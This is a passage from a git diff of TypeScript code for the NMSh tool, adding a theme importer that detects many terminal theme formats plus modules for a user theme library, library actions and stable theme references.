{...base.prompt, ...prompt}, ui: {...base.ui, ...(accent ? {accent} : {}), + ...(prompt.success ? {success: prompt.success} : {}), ...(prompt.failure ? {failure: prompt.failure} : {})}}; + delete theme.terminal; + if (accent) mapping.push({role: 'Accent', from: 'first colored segment'}); + return finish('oh-my-posh', theme, mapping, [...warnings], name); +} + +// ---- Dispatcher ------------------------------------------------------------ + +function fileStem(fileName: string): string { + const base = fileName.split(/[\\/]/u).pop() ?? fileName; + return sanitizeName(base.replace(/\.(?:json|ya?ml|toml|conf|itermcolors|theme)$/iu, '')) || 'Imported theme'; +} + +function parseYaml(text: string): unknown { + const document = parseDocument(text, {prettyErrors: false, uniqueKeys: false, logLevel: 'silent', customTags: []}); + if (document.errors.length) throw new Error('invalid YAML'); + return document.toJS({maxAliasCount: 64}); +} + +function isOhMyPosh(data: unknown): data is Record { + return isRecord(data) && (Array.isArray(data.blocks) || (typeof data.$schema === 'string' && /oh-my-posh/u.test(data.$schema))); +} + +function isScheme(data: unknown): data is Record { + return isRecord(data) && Boolean(schemeColors(data).base00); +} + +function schemeImport(data: Record, text: string, defaults: Record, forced?: ThemeSourceKind): ImportOutcome { + const colors = schemeColors(data); + const base24 = forced === 'base24' || (forced !== 'base16' && (data.system === 'base24' || Object.keys(colors).some(key => /^base1[0-7]$/u.test(key)))); + if (base24) return importBase24(data, defaults); + const result = importBase16(JSON.stringify(data), defaults) ?? importBase16(text, defaults); + if (!result) return {errors: ['Not a complete Base16 scheme: base00–base0E are required.']}; + return finish('base16', result.theme, [{role: 'Prompt and UI roles', from: 'Base16 slots (see the Base16 mapping in the docs)'}], + [...result.warnings, result.theme.dark ? 'Interpreted as a dark scheme (dark base00).' : 'Interpreted as a light scheme (light base00).'], result.theme.name); +} + +/** + * Parses one local theme file (already read, size-checked text) as the chosen + * format, or detects it. Data only; see the module comment for guarantees. + */ +export function importThemeSource(text: string, fileName: string, defaults: Record, base: CustomTheme, format: ImportFormatChoice = 'auto'): ImportOutcome { + if (text.length > IMPORT_SIZE_LIMIT) return {errors: ['File is larger than 256 KiB.']}; + if (text.includes('\u0000')) return {errors: ['Binary files are not theme files.']}; + const extension = /\.([a-z0-9]+)$/iu.exec(fileName)?.[1]?.toLowerCase() ?? ''; + const want = (kind: ThemeSourceKind) => format === 'auto' || format === kind; + if (format === 'wezterm' || extension === 'lua') { + if (looksLikeLua(text, fileName)) return {errors: [WEZTERM_LUA_GUIDANCE]}; + } + if (format === 'iterm2' || extension === 'itermcolors' || (format === 'auto' && /]/u.test(text))) return importITerm2(text, fileName, defaults); + if (format === 'kitty') return importKitty(text, fileName, defaults); + if (format === 'ghostty') return importGhostty(text, fileName, defaults); + let json: unknown; + try { json = JSON.parse(text); } catch { json = undefined; } + if (json !== undefined) { + if (isRecord(json) && json.schema === THEME_SCHEMA && want('nmsh')) { + const result = validateTheme(json); + return result.ok ? {format: 'nmsh', theme: result.theme, mapping: [], warnings: result.warnings, sourceName: result.theme.name} : {errors: result.errors}; + } + if (isOhMyPosh(json) && want('oh-my-posh')) return importOhMyPosh(json, fileName, base); + if (want('windows-terminal') && (format === 'windows-terminal' || (isRecord(json) && 'brightBlack' in json))) { + const result = importWindowsTerminal(text, defaults); + if (!result) return {errors: ['Not a complete Windows Terminal color scheme.']}; + const terminal = windowsTerminalPalette(json as Record); + return terminal ? terminalResult('windows-terminal', result.theme.name, terminal, defaults, []) + : finish('windows-terminal', result.theme, [], [...result.warnings], result.theme.name); + } + if (isScheme(json) && (want('base16') || want('base24'))) return schemeImport(json, text, defaults, format === 'auto' ? undefined : format); + return {errors: ['This JSON is not an NMSh theme, Oh My Posh config, Windows Terminal scheme or Base16/Base24 scheme.']}; + } + if (extension === 'toml' || format === 'wezterm' || (format === 'oh-my-posh' && /^\s*\[/mu.test(text))) { + let data: unknown; + try { data = parseToml(text); } catch { return {errors: [looksLikeLua(text, fileName) ? WEZTERM_LUA_GUIDANCE : 'Not valid TOML.']}; } + if (isOhMyPosh(data) && want('oh-my-posh')) return importOhMyPosh(data, fileName, base); + if (isRecord(data) && isRecord(data.colors) && want('wezterm')) return importWezTermToml(data, fileName, defaults); + return {errors: ['This TOML is not an Oh My Posh config or a WezTerm color scheme.']}; + } + if (format === 'auto' && looksLikeLua(text, fileName)) return {errors: [WEZTERM_LUA_GUIDANCE]}; + // Line-oriented terminal configs, detected by their own color syntax before YAML. + if (format === 'auto' && /^\s*palette\s*=\s*\d+\s*=/mu.test(text)) return importGhostty(text, fileName, defaults); + if (format === 'auto' && /^\s*color\d{1,2}\s+#?[0-9a-fA-F]{3,6}\s*$/mu.test(text)) return importKitty(text, fileName, defaults); + let yaml: unknown; + try { yaml = parseYaml(text); } catch { return {errors: ['The file is not a recognized theme format (NMSh, Base16/Base24, Windows Terminal, Oh My Posh, Kitty, Ghostty, iTerm2, WezTerm TOML).']}; } + if (isOhMyPosh(yaml) && want('oh-my-posh')) return importOhMyPosh(yaml, fileName, base); + if (isScheme(yaml) && (want('base16') || want('base24'))) return schemeImport(yaml, text, defaults, format === 'auto' ? undefined : format); + return {errors: ['The file is not a recognized theme format (NMSh, Base16/Base24, Windows Terminal, Oh My Posh, Kitty, Ghostty, iTerm2, WezTerm TOML).']}; +} + +function windowsTerminalPalette(json: Record): TerminalPalette | undefined { + const keys = ['black', 'red', 'green', 'yellow', 'blue', 'purple', 'cyan', 'white', 'brightBlack', 'brightRed', 'brightGreen', 'brightYellow', + 'brightBlue', 'brightPurple', 'brightCyan', 'brightWhite']; + const ansi = keys.map(key => hex(json[key])); + const background = hex(json.background); + const foreground = hex(json.foreground); + if (ansi.some(value => !value) || !background || !foreground) return undefined; + return {background, foreground, ansi: ansi as string[], ...(hex(json.selectionBackground) ? {selectionBackground: hex(json.selectionBackground)!} : {}), + ...(hex(json.cursorColor) ? {cursor: hex(json.cursorColor)!} : {})}; +} + +export const IMPORT_FORMAT_CHOICES: readonly ImportFormatChoice[] = ['auto', 'nmsh', 'base16', 'base24', 'windows-terminal', 'oh-my-posh', 'kitty', 'ghostty', 'iterm2', 'wezterm']; +export const importFormatLabel = (format: ImportFormatChoice): string => format === 'auto' ? 'Detect automatically' : THEME_SOURCE_LABELS[format]; diff --git a/src/appearance/themeLibrary.ts b/src/appearance/themeLibrary.ts new file mode 100644 index 00000000..53a0bf17 --- /dev/null +++ b/src/appearance/themeLibrary.ts @@ -0,0 +1,194 @@ +import {randomBytes} from 'node:crypto'; +import {normalizeCustomTheme, sanitizeName, type CustomTheme} from './customTheme.js'; + +/** + * The Native theme library: every user-owned NMSh theme as one asset with a + * stable id. Imported is provenance, never another renderer: an imported + * asset is ordinary NMSh Theme JSON plus where it came from, and it keeps + * working when the source application, file or network is gone. + * + * Canonical state is `themes` (the assets) and `nmsh.themeId` (the asset a + * `custom` palette uses). `customTheme` is a deterministic mirror of that + * asset, rewritten by normalization on every load and save, so the existing + * renderers and older NMSh versions keep reading one theme. A stored + * `customTheme` is only ever read as input when migrating a configuration + * that has no library yet. + */ + +/** Bounded so a damaged or hostile configuration cannot grow without limit. */ +export const THEME_LIBRARY_LIMIT = 64; +/** The asset a pre-library `customTheme` migrates into. */ +export const LEGACY_THEME_ID = 'legacy-custom'; + +export const THEME_SOURCE_KINDS = ['nmsh', 'base16', 'base24', 'windows-terminal', 'oh-my-posh', 'kitty', 'ghostty', 'iterm2', 'wezterm'] as const; +export type ThemeSourceKind = typeof THEME_SOURCE_KINDS[number]; +export const THEME_SOURCE_LABELS: Record = { + nmsh: 'NMSh Theme JSON', base16: 'Base16', base24: 'Base24', 'windows-terminal': 'Windows Terminal', 'oh-my-posh': 'Oh My Posh', + kitty: 'Kitty', ghostty: 'Ghostty', iterm2: 'iTerm2', wezterm: 'WezTerm', +}; + +/** Where an imported asset came from. Local-only: never part of a portable export. */ +export interface ThemeOrigin { + kind: ThemeSourceKind; + /** The source's own scheme name or file name (no directories). */ + sourceName?: string; + /** The local file it was read from, for this machine's display only. */ + sourcePath?: string; + importerVersion?: number; + importedAt?: string; +} + +export interface ThemeAsset { + id: string; + theme: CustomTheme; + /** Present only for imported assets; its presence is what makes the category Imported. */ + origin?: ThemeOrigin; + createdAt?: string; + /** An imported asset edited in NMSh after import (the source file is never touched). */ + modified?: boolean; +} + +export type ThemeCategory = 'custom' | 'imported'; +export const categoryOf = (asset: ThemeAsset): ThemeCategory => asset.origin ? 'imported' : 'custom'; + +/** Current importer behavior version, recorded with each import. */ +export const IMPORTER_VERSION = 2; + +const ID = /^[a-z0-9][a-z0-9-]{2,39}$/u; +const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); +const isoDate = (value: unknown): string | undefined => + typeof value === 'string' && value.length <= 40 && !Number.isNaN(Date.parse(value)) ? value : undefined; + +export function newThemeId(taken: ReadonlySet = new Set()): string { + for (;;) { + const id = `t-${randomBytes(6).toString('hex')}`; + if (!taken.has(id)) return id; + } +} + +function normalizeOrigin(value: unknown): ThemeOrigin | undefined { + if (!isRecord(value) || !THEME_SOURCE_KINDS.includes(value.kind as ThemeSourceKind)) return undefined; + const sourceName = typeof value.sourceName === 'string' ? sanitizeName(value.sourceName) : ''; + const sourcePath = typeof value.sourcePath === 'string' && value.sourcePath.length <= 1024 && !/[\u0000-\u001f\u007f-\u009f]/u.test(value.sourcePath) + ? value.sourcePath : undefined; + const importerVersion = typeof value.importerVersion === 'number' && Number.isInteger(value.importerVersion) && value.importerVersion > 0 + ? value.importerVersion : undefined; + const importedAt = isoDate(value.importedAt); + return {kind: value.kind as ThemeSourceKind, ...(sourceName ? {sourceName} : {}), ...(sourcePath ? {sourcePath} : {}), + ...(importerVersion ? {importerVersion} : {}), ...(importedAt ? {importedAt} : {})}; +} + +export function normalizeThemeAsset(value: unknown): ThemeAsset | undefined { + if (!isRecord(value) || typeof value.id !== 'string' || !ID.test(value.id)) return undefined; + const theme = normalizeCustomTheme(value.theme); + if (!theme) return undefined; + const origin = normalizeOrigin(value.origin); + const createdAt = isoDate(value.createdAt); + return {id: value.id, theme, ...(origin ? {origin} : {}), ...(createdAt ? {createdAt} : {}), + ...(origin && value.modified === true ? {modified: true} : {})}; +} + +export interface NormalizedLibrary { + themes: ThemeAsset[]; + /** The asset the `custom` palette uses, when it exists. */ + themeId?: string; +} + +/** + * Library normalization and the one-time migration: a configuration without + * `themes` turns a valid legacy `customTheme` into one Custom asset (kept + * active through the same `custom` palette). Malformed assets are dropped + * individually; duplicate ids keep the first; the library is bounded. + */ +export function normalizeThemeLibrary(themes: unknown, legacyCustom: unknown, themeId: unknown): NormalizedLibrary { + if (!Array.isArray(themes)) { + const legacy = normalizeCustomTheme(legacyCustom); + return legacy ? {themes: [{id: LEGACY_THEME_ID, theme: legacy}], themeId: LEGACY_THEME_ID} : {themes: []}; + } + const seen = new Set(); + const assets: ThemeAsset[] = []; + for (const item of themes.slice(0, THEME_LIBRARY_LIMIT * 2)) { + const asset = normalizeThemeAsset(item); + if (!asset || seen.has(asset.id)) continue; + seen.add(asset.id); + assets.push(asset); + if (assets.length >= THEME_LIBRARY_LIMIT) break; + } + const active = typeof themeId === 'string' && seen.has(themeId) ? themeId : undefined; + return {themes: assets, ...(active ? {themeId: active} : {})}; +} + +export function findTheme(themes: readonly ThemeAsset[], id: string | undefined): ThemeAsset | undefined { + return id === undefined ? undefined : themes.find(asset => asset.id === id); +} + +/** Display line for an asset's provenance: `Imported from Ghostty · Catppuccin`, with `· Modified` after edits. */ +export function provenanceLabel(asset: ThemeAsset): string { + if (!asset.origin) return asset.theme.basedOn ? `Custom · based on ${asset.theme.basedOn}` : 'Custom'; + const source = [THEME_SOURCE_LABELS[asset.origin.kind], asset.origin.sourceName].filter(Boolean).join(' · '); + return `Imported from ${source}${asset.modified ? ' · Modified' : ''}`; +} + +export function libraryCounts(themes: readonly ThemeAsset[]): {imported: number; custom: number} { + const imported = themes.filter(asset => asset.origin).length; + return {imported, custom: themes.length - imported}; +} + +/** `2 imported · 3 custom`, or undefined for an empty library. */ +export function librarySummary(themes: readonly ThemeAsset[]): string | undefined { + const {imported, custom} = libraryCounts(themes); + const parts = [imported ? `${imported} imported` : '', custom ? `${custom} custom` : ''].filter(Boolean); + return parts.length ? parts.join(' · ') : undefined; +} + +/** A unique display name in the library ("Name", "Name 2", ...); names never identify assets. */ +export function uniqueThemeName(themes: readonly ThemeAsset[], wanted: string, except?: string): string { + const base = sanitizeName(wanted) || 'Theme'; + const taken = new Set(themes.filter(asset => asset.id !== except).map(asset => asset.theme.name.toLowerCase())); + if (!taken.has(base.toLowerCase())) return base; + for (let index = 2; ; index++) { + const suffix = ` ${index}`; + const candidate = `${base.slice(0, 48 - suffix.length)}${suffix}`; + if (!taken.has(candidate.toLowerCase())) return candidate; + } +} + +export type LibraryResult = {ok: true; value: T} | {ok: false; error: string}; + +/** A new asset in the library; fails cleanly when the library is full. */ +export function addThemeAsset(themes: readonly ThemeAsset[], theme: CustomTheme, origin?: ThemeOrigin, now = new Date()): LibraryResult<{themes: ThemeAsset[]; asset: ThemeAsset}> { + if (themes.length >= THEME_LIBRARY_LIMIT) return {ok: false, error: `The theme library is full (${THEME_LIBRARY_LIMIT} themes). Delete one first.`}; + const asset: ThemeAsset = {id: newThemeId(new Set(themes.map(item => item.id))), + theme: {...structuredClone(theme), name: uniqueThemeName(themes, theme.name)}, + ...(origin ? {origin: {...origin}} : {}), createdAt: now.toISOString()}; + return {ok: true, value: {themes: [...themes, asset], asset}}; +} + +/** Saves edited colors/name; an imported asset becomes Modified (its source file is never touched). */ +export function updateThemeAsset(themes: readonly ThemeAsset[], id: string, theme: CustomTheme): LibraryResult { + const current = findTheme(themes, id); + if (!current) return {ok: false, error: 'That theme no longer exists.'}; + const changed = JSON.stringify(current.theme) !== JSON.stringify(theme); + const next: ThemeAsset = {...current, theme: {...structuredClone(theme), name: uniqueThemeName(themes, theme.name, id)}, + ...(current.origin && (changed || current.modified) ? {modified: true} : {})}; + return {ok: true, value: themes.map(asset => asset.id === id ? next : asset)}; +} + +export function renameThemeAsset(themes: readonly ThemeAsset[], id: string, name: string): LibraryResult { + const current = findTheme(themes, id); + if (!current) return {ok: false, error: 'That theme no longer exists.'}; + const clean = sanitizeName(name); + if (!clean) return {ok: false, error: 'Name must be 1–48 printable characters.'}; + return updateThemeAsset(themes, id, {...current.theme, name: clean}); +} + +/** A Custom copy (no provenance) whose Based on names the original. */ +export function duplicateThemeAsset(themes: readonly ThemeAsset[], id: string, now = new Date()): LibraryResult<{themes: ThemeAsset[]; asset: ThemeAsset}> { + const current = findTheme(themes, id); + if (!current) return {ok: false, error: 'That theme no longer exists.'}; + return addThemeAsset(themes, {...current.theme, name: `${current.theme.name.slice(0, 43)} copy`, basedOn: current.theme.name}, undefined, now); +} + +export function removeThemeAsset(themes: readonly ThemeAsset[], id: string): ThemeAsset[] { + return themes.filter(asset => asset.id !== id); +} diff --git a/src/appearance/themeLibraryActions.ts b/src/appearance/themeLibraryActions.ts new file mode 100644 index 00000000..ceea3f64 --- /dev/null +++ b/src/appearance/themeLibraryActions.ts @@ -0,0 +1,127 @@ +import type {PromptConfiguration} from '../prompt/configuration.js'; +import {normalizePromptConfiguration} from '../prompt/configuration.js'; +import {BRIDGE_TARGET_LABELS, globallyPinnedTo, targetsPinnedTo, type BridgeTargetId} from '../themeBridge/model.js'; +import type {CustomTheme} from './customTheme.js'; +import { + addThemeAsset, duplicateThemeAsset, findTheme, removeThemeAsset, renameThemeAsset, updateThemeAsset, type ThemeOrigin, +} from './themeLibrary.js'; +import {activeThemeRef, assetRef, builtinTheme, parseThemeRef, themeForRef, type ThemeRef} from './themeRefs.js'; + +/** + * Library operations over the whole configuration: the one place assets, + * the active selection, the `customTheme` mirror and Theme Bridge references + * change together. Every result is re-normalized so the mirror is always the + * active asset. Nothing here touches the filesystem. + */ + +export type ActionResult = {ok: true; config: PromptConfiguration; message: string; id?: string} | {ok: false; error: string}; + +const finish = (config: PromptConfiguration, message: string, id?: string): ActionResult => + ({ok: true, config: normalizePromptConfiguration(config), message, ...(id ? {id} : {})}); + +/** Make any selectable theme the active NMSh theme. A missing asset is an error, never a substitute. */ +export function setActiveTheme(config: PromptConfiguration, ref: ThemeRef): ActionResult { + const parsed = parseThemeRef(ref); + if (!parsed) return {ok: false, error: 'Not a theme reference.'}; + if (parsed.kind === 'builtin') { + return finish({...config, nmsh: {...config.nmsh, palette: parsed.palette, ...(parsed.accent ? {accent: parsed.accent} : {})}}, `Theme · ${builtinTheme(parsed.palette, parsed.accent).name}`); + } + const asset = findTheme(config.themes, parsed.id); + if (!asset) return {ok: false, error: 'That theme no longer exists.'}; + return finish({...config, nmsh: {...config.nmsh, palette: 'custom', themeId: asset.id}}, `Theme · ${asset.theme.name}`); +} + +/** A new Custom or Imported asset; `activate` also makes it the active theme. */ +export function addTheme(config: PromptConfiguration, theme: CustomTheme, origin?: ThemeOrigin, activate = false): ActionResult { + const added = addThemeAsset(config.themes, theme, origin); + if (!added.ok) return added; + const next = {...config, themes: added.value.themes}; + if (activate) next.nmsh = {...next.nmsh, palette: 'custom', themeId: added.value.asset.id}; + return finish(next, `${origin ? 'Imported' : 'Saved'} ${added.value.asset.theme.name}${activate ? ' · active' : ''}`, added.value.asset.id); +} + +export function saveTheme(config: PromptConfiguration, id: string, theme: CustomTheme): ActionResult { + const updated = updateThemeAsset(config.themes, id, theme); + if (!updated.ok) return updated; + return finish({...config, themes: updated.value}, `Saved ${findTheme(updated.value, id)!.theme.name}`, id); +} + +export function renameTheme(config: PromptConfiguration, id: string, name: string): ActionResult { + const renamed = renameThemeAsset(config.themes, id, name); + if (!renamed.ok) return renamed; + return finish({...config, themes: renamed.value}, `Renamed to ${findTheme(renamed.value, id)!.theme.name}`, id); +} + +export function duplicateTheme(config: PromptConfiguration, id: string): ActionResult { + const copied = duplicateThemeAsset(config.themes, id); + if (!copied.ok) return copied; + return finish({...config, themes: copied.value.themes}, `Duplicated as ${copied.value.asset.theme.name} (Custom)`, copied.value.asset.id); +} + +/** A built-in, immutable theme copied into the library as an editable Custom theme. */ +/** + * The current theme (Built-in, Imported or Custom) copied into a new Custom + * theme named " - Custom". Imported provenance is dropped, so the copy is + * genuinely Custom. The active theme does not change unless `activate`. + */ +export function duplicateCurrentToCustom(config: PromptConfiguration, activate = false): ActionResult { + const ref = activeThemeRef(config); + const resolved = themeForRef(ref, config); + if (!resolved.ok) return {ok: false, error: 'The current theme cannot be resolved.'}; + const name = `${resolved.theme.name.slice(0, 39)} - Custom`; + return addTheme(config, {...resolved.theme, name, basedOn: resolved.theme.name}, undefined, activate); +} + +/** Any theme reference copied to a new Custom theme (bat setup and Studio reuse this). */ +export function duplicateRefToCustom(config: PromptConfiguration, ref: ThemeRef): ActionResult { + const resolved = themeForRef(ref, config); + if (!resolved.ok) return {ok: false, error: 'That theme cannot be resolved.'}; + return addTheme(config, {...resolved.theme, name: `${resolved.theme.name.slice(0, 39)} - Custom`, basedOn: resolved.theme.name}); +} + +export function duplicateBuiltin(config: PromptConfiguration, ref: ThemeRef): ActionResult { + const parsed = parseThemeRef(ref); + if (parsed?.kind !== 'builtin') return {ok: false, error: 'Not a built-in theme.'}; + const source = builtinTheme(parsed.palette, parsed.accent); + return addTheme(config, {...source, name: `My ${source.name}`.slice(0, 48), basedOn: source.name}); +} + +export interface DeleteCheck { + /** Deleting the active NMSh theme is refused: choose another theme first, so nothing falls back silently. */ + active: boolean; + /** Theme Bridge targets pinned to this theme (Choose theme). */ + pinned: BridgeTargetId[]; + /** Theme Bridge's global Choose theme is this theme. */ + global: boolean; +} + +export function deleteCheck(config: PromptConfiguration, id: string): DeleteCheck { + return {active: config.nmsh.palette === 'custom' && config.nmsh.themeId === id, pinned: targetsPinnedTo(config.themeBridge, assetRef(id)), + global: globallyPinnedTo(config.themeBridge, assetRef(id))}; +} + +/** + * Deletes an asset. Pinned Theme Bridge targets block the delete unless the + * user explicitly confirmed that they become Independent; the active theme is + * never deleted. No reference is ever left dangling or re-pointed elsewhere. + */ +export function deleteTheme(config: PromptConfiguration, id: string, confirmIndependent = false): ActionResult { + const asset = findTheme(config.themes, id); + if (!asset) return {ok: false, error: 'That theme no longer exists.'}; + const check = deleteCheck(config, id); + if (check.active) return {ok: false, error: `${asset.theme.name} is the active theme. Choose another theme first.`}; + if ((check.pinned.length || check.global) && !confirmIndependent) { + const who = [...(check.global ? ['Theme Bridge (Choose theme for every tool)'] : []), ...check.pinned.map(target => `Theme Bridge ${BRIDGE_TARGET_LABELS[target]}`)]; + return {ok: false, error: `${who.join(', ')} ${who.length === 1 ? 'is' : 'are'} pinned to ${asset.theme.name}.`}; + } + const targets = structuredClone(config.themeBridge.targets); + // Explicitly confirmed: affected targets become Independent (never another theme). The old reference is dropped. + for (const target of check.pinned) targets[target] = {mode: 'independent'}; + // A deleted global pin goes back to Manual (never to another theme); the Manual state is untouched. + const {theme: _global, ...bridge} = config.themeBridge; + const themeBridge = check.global ? {...bridge, policy: config.themeBridge.policy === 'choose' ? 'manual' as const : config.themeBridge.policy, targets} : {...config.themeBridge, targets}; + const next: PromptConfiguration = {...config, themes: removeThemeAsset(config.themes, id), themeBridge, + nmsh: config.nmsh.themeId === id ? (({themeId: _removed, ...rest}) => rest)(config.nmsh) as PromptConfiguration['nmsh'] : config.nmsh}; + const suffix = check.pinned.length ? ` · ${check.pinned.map(target => BRIDGE_TARGET_LABELS[target]).join(', ')} now Independent` : ''; + return finish(next, `Deleted ${asset.theme.name}${suffix}`); +} diff --git a/src/appearance/themeRefs.ts b/src/appearance/themeRefs.ts new file mode 100644 index 00000000..2e72b2fc --- /dev/null +++ b/src/appearance/themeRefs.ts @@ -0,0 +1,105 @@ +import {CATPPUCCIN_ACCENTS, CATPPUCCIN_ACCENT_LABELS, accentedVariant, themeVariant, type CatppuccinAccent} from './themeFamilies.js'; +import {cloneTheme, PROMPT_THEME_ROLES, type CustomTheme, type PromptThemeRole, type UiThemeRole} from './customTheme.js'; +import {categoryOf, findTheme, type ThemeAsset} from './themeLibrary.js'; +import {defaultUiColors} from './uiTheme.js'; +import {hexColor} from '../chroma/color.js'; +import {NATIVE_PALETTE_IDS, THEME_PALETTE_IDS, type NativePaletteId} from '../prompt/configuration.js'; +import {NATIVE_PROMPT_THEMES} from '../prompt/prompt.js'; + +/** + * A stable reference to any selectable NMSh theme. Built-ins are referenced by + * palette id (plus the Catppuccin accent, which changes their colors); library + * themes by asset id, never by display name: + * + * builtin:gruvboxDark builtin:catppuccinMocha@peach asset:t-1a2b3c4d5e6f + */ +export type ThemeRef = string; +export type ParsedThemeRef = {kind: 'builtin'; palette: Exclude; accent?: CatppuccinAccent} | {kind: 'asset'; id: string}; + +const BUILTIN_IDS = new Set(THEME_PALETTE_IDS.filter(id => id !== 'custom')); + +export function parseThemeRef(ref: unknown): ParsedThemeRef | undefined { + if (typeof ref !== 'string' || ref.length > 80) return undefined; + const asset = /^asset:([a-z0-9][a-z0-9-]{2,39})$/u.exec(ref); + if (asset) return {kind: 'asset', id: asset[1]!}; + const builtin = /^builtin:([A-Za-z0-9]+)(?:@([a-z]+))?$/u.exec(ref); + if (!builtin || !BUILTIN_IDS.has(builtin[1]!)) return undefined; + const accent = builtin[2]; + if (accent !== undefined && !CATPPUCCIN_ACCENTS.includes(accent as CatppuccinAccent)) return undefined; + return {kind: 'builtin', palette: builtin[1] as Exclude, ...(accent ? {accent: accent as CatppuccinAccent} : {})}; +} + +export function builtinRef(palette: Exclude, accent?: CatppuccinAccent): ThemeRef { + // Only accented families carry the accent, and Mauve is their default. + return themeVariant(palette)?.accents && accent && accent !== 'mauve' ? `builtin:${palette}@${accent}` : `builtin:${palette}`; +} + +export const assetRef = (id: string): ThemeRef => `asset:${id}`; + +/** What a library-aware configuration exposes to theme resolution. */ +export interface ThemeSource { + nmsh: {palette: NativePaletteId; accent: CatppuccinAccent; themeId?: string}; + themes: readonly ThemeAsset[]; +} + +/** The active NMSh theme as a stable reference (what Follow NMSh follows). */ +export function activeThemeRef(config: ThemeSource): ThemeRef | undefined { + if (config.nmsh.palette === 'custom') return config.nmsh.themeId && findTheme(config.themes, config.nmsh.themeId) ? assetRef(config.nmsh.themeId) : undefined; + return builtinRef(config.nmsh.palette, config.nmsh.accent); +} + +const UI_DEFAULTS = (): Record => { + const ui = defaultUiColors(); + return {accent: hexColor(ui.accent), primary: hexColor(ui.primary), secondary: hexColor(ui.secondary), subtle: hexColor(ui.subtle), + separator: hexColor(ui.separator), selection: hexColor(ui.selection), success: hexColor(ui.success), warning: '#d99a3e', + failure: hexColor(ui.failure), info: '#4fb3c4'}; +}; + +/** + * A built-in palette as Native theme data, with the accent applied explicitly + * (never the live global theme context), so resolution is pure. + */ +export function builtinTheme(palette: Exclude, accent: CatppuccinAccent = 'mauve'): CustomTheme { + const defaults = UI_DEFAULTS(); + const variant = themeVariant(palette); + if (variant) { + const accented = accentedVariant(variant, accent); + return cloneTheme(accented.label, accented.label, {...accented.roles}, accented.ui, defaults, variant.dark); + } + const native = NATIVE_PROMPT_THEMES[palette] ?? NATIVE_PROMPT_THEMES.lavender; + const prompt = Object.fromEntries(PROMPT_THEME_ROLES.map(role => [role, hexColor(native.colors(role).background)])) as Record; + return cloneTheme(native.label, native.label, prompt, {accent: defaults.accent, separator: defaults.separator, success: defaults.success, failure: defaults.failure}, defaults, true); +} + +export type ThemeResolution = {ok: true; theme: CustomTheme; category: 'builtin' | 'imported' | 'custom'} | {ok: false; reason: 'invalid' | 'missing'}; + +/** Resolves a reference to theme data. A missing asset is reported, never replaced by another theme. */ +export function themeForRef(ref: ThemeRef | undefined, source: Pick): ThemeResolution { + const parsed = parseThemeRef(ref); + if (!parsed) return {ok: false, reason: 'invalid'}; + if (parsed.kind === 'builtin') return {ok: true, theme: builtinTheme(parsed.palette, parsed.accent), category: 'builtin'}; + const asset = findTheme(source.themes, parsed.id); + return asset ? {ok: true, theme: structuredClone(asset.theme), category: categoryOf(asset)} : {ok: false, reason: 'missing'}; +} + +export function themeRefLabel(ref: ThemeRef | undefined, source: Pick): string { + const parsed = parseThemeRef(ref); + if (!parsed) return '—'; + if (parsed.kind === 'asset') return findTheme(source.themes, parsed.id)?.theme.name ?? 'Missing theme'; + const label = (NATIVE_PROMPT_THEMES[parsed.palette] ?? NATIVE_PROMPT_THEMES.lavender).label; + return parsed.accent ? `${label} · ${CATPPUCCIN_ACCENT_LABELS[parsed.accent]}` : label; +} + +export interface SelectableTheme {ref: ThemeRef; label: string; category: 'builtin' | 'imported' | 'custom'} + +/** Every theme a picker can offer: built-ins (default accents), then imported, then custom. */ +export function selectableThemes(source: Pick): SelectableTheme[] { + const builtins = THEME_PALETTE_IDS.filter((id): id is Exclude => id !== 'custom') + .map(palette => ({ref: builtinRef(palette), label: NATIVE_PROMPT_THEMES[palette].label, category: 'builtin' as const})); + const library = (category: 'imported' | 'custom') => source.themes.filter(asset => categoryOf(asset) === category) + .map(asset => ({ref: assetRef(asset.id), label: asset.theme.name, category})); + return [...builtins, ...library('imported'), ...library('custom')]; +} + +/** NMSh's own (non-family) palettes, for grouping in pickers. */ +export const isNativePalette = (palette: NativePaletteId): boolean => NATIVE_PALETTE_IDS.includes(palette); diff --git a/src/appearance/themeSelection.ts b/src/appearance/themeSelection.ts index 0aa2bb9c..4936dea7 100644 --- a/src/appearance/themeSelection.ts +++ b/src/appearance/themeSelection.ts @@ -4,6 +4,7 @@ import {hexColor} from '../chroma/color.js'; import {accentedVariant, familyVariants, THEME_FAMILIES, themeVariant, type ThemeFamilyId} from './themeFamilies.js'; import {cloneTheme, PROMPT_THEME_ROLES, type CustomTheme, type PromptThemeRole, type UiThemeRole} from './customTheme.js'; import {defaultUiColors, uiThemeInput} from './uiTheme.js'; +import {categoryOf, findTheme, libraryCounts} from './themeLibrary.js'; /** * Theme family / variant selection over the one stored palette id. NMSh's own @@ -68,3 +69,50 @@ export const FAMILY_LABELS: readonly string[] = THEME_FAMILIES.map(family => fam export function variantLabel(config: PromptConfiguration): string { return THEME_FAMILIES.find(family => family.id === familyOf(config.nmsh.palette))?.variantLabel ?? 'Variant'; } + +// ---- Library-aware selection (Setup and Settings) ----------------------------- + +/** Built-in families, then Imported and Custom library themes as their own groups. */ +export type SelectionFamily = Exclude | 'imported' | 'custom'; + +export function currentSelectionFamily(config: PromptConfiguration): SelectionFamily { + if (config.nmsh.palette !== 'custom') return familyOf(config.nmsh.palette) as SelectionFamily; + const asset = findTheme(config.themes, config.nmsh.themeId); + return asset ? categoryOf(asset) : 'custom'; +} + +/** Families offered: every built-in family, plus Imported/Custom when the library has such themes. */ +export function selectionFamilies(config: PromptConfiguration): SelectionFamily[] { + const builtins = FAMILY_IDS.filter((id): id is Exclude => id !== 'custom'); + const {imported, custom} = libraryCounts(config.themes); + return [...builtins, ...(imported ? ['imported' as const] : []), ...(custom ? ['custom' as const] : [])]; +} + +export function selectionFamilyLabel(family: SelectionFamily): string { + if (family === 'imported') return 'Imported'; + if (family === 'custom') return 'Custom'; + return THEME_FAMILIES.find(item => item.id === family)?.label ?? family; +} + +export interface SelectionVariant {label: string; apply: (config: PromptConfiguration) => PromptConfiguration; current: (config: PromptConfiguration) => boolean} + +/** Variants within a family: palette variants for built-ins, library themes (by stable id) for Imported/Custom. */ +export function selectionVariants(config: PromptConfiguration, family: SelectionFamily): SelectionVariant[] { + if (family === 'imported' || family === 'custom') { + return config.themes.filter(asset => categoryOf(asset) === family).map(asset => ({label: asset.theme.name, + apply: c => ({...c, nmsh: {...c.nmsh, palette: 'custom', themeId: asset.id}, customTheme: structuredClone(asset.theme)}), + current: c => c.nmsh.palette === 'custom' && c.nmsh.themeId === asset.id})); + } + return variantOptions(family).map(option => ({label: option.label, + apply: 